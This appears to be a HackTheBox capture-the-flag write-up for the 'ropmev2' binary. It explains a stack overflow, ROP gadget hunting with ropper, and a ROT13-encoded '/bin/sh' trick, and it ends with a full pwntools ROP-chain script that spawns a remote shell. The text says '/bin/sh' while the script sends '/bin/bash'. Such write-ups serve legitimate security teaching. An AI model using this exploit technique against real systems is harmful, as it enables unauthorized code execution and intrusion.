In this write-up we will be visiting the ropmev2 challenge from HackTheBox.
rop me if you can
As with any binary exploitation challenge, we start by running checksec on the binary to see which kinds of protections are enabled.
We find that NX is enabled, which effectively means that we cannot execute contents of the stack. However, we also find that PIE is not enabled meaning that the main binary has a static location in memory starting at address 0x400000. Let’s open the binary in IDA and analyze it to find out what it does.
We see that the binary is very simple. It outputs “Please dont hack me” using printf and then reads 499 (0x1f4) bytes into a buffer located at [rbp-0xd0]. This effectively means that we are able to overflow the destination buffer for the read function call, as the buffer has a maximum size of 208 (0xd0) bytes. At the end of main we find a call to a function located at 0x401238, which takes the buffer from the read function call as a parameter.
A quick look at the function reveals that it performs the ROT13 cipher on a target buffer. Now that we understand the binary and have found a vulnerable stack overflow, we can proceed with our attack. However, since NX is enabled for the binary we cannot execute the contents of the stack directly, and must therefore use other methods such as ROP gadgets. We pull out a ROP gadget tool of choice (in this case ropper) and load the ropmev2 binary.
We then scroll through the gadgets to see if we can locate a syscall gadget, since we need one in order to spawn a shell with a ROP chain directly.
As can be seen in the illustration above, we were able to locate a syscall gadget. Now we need to find the necessary gadgets to perform an execve call using the syscall gadget. A 64-bit execve syscall look as follows.
We thus need gadgets that will allow us to modify rax, rdi, rsi and rdx.
As we can see from the ropper output, we have sufficient gadgets to control all of these registers, so we can go ahead and assembly a ROP chain that will pop our desired values into the four registers. Specifically, we would like 0x3b in rax, “/bin/sh” in rdi for the filename, 0 in rsi since we do not need commandline arguments for our process and 0 in rdx since we do not need the environment pointer.
Interestingly we do not have a pointer to a string containing ‘/bin/sh’, but if we look at the main function again, we notice that our buffer from the read call is already stored in rdi, so if we make sure to include ‘/bin/sh’ along with a terminating null character at the beginning of our buffer, we do not need to modify the rdi register ourselves. The ‘/bin/sh’ buffer must however be encoded using the ROT13 cipher such that it resolves correctly in the receiving application.
We can now build a script to perform these steps for us. The final script should look as follows.
import string from pwn import * rot13 = lambda s : string.translate(s, string.maketrans( "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")) s = remote('docker.hackthebox.eu', 32605) buf = rot13('/bin/bash') + '\x00' buf += 'a' * ((208 + 8) - len(buf)) buf += p64(0x401162) # gadget [pop rax; ret;] buf += p64(0x3b) # execve buf += p64(0x401429) # gadget [pop rsi; pop r15; ret;] buf += p64(0) # argv buf += p64(0) buf += p64(0x401164) # gadget [pop rdx; pop r13; ret;] buf += p64(0) # envp buf += p64(0) buf += p64(0x401168) # gadget [syscall; ret;] s.recvline() s.sendline(buf) s.interactive() s.close()
We can now run our script to obtain a shell on the remote system.
And there you have it – the challenge has been solved!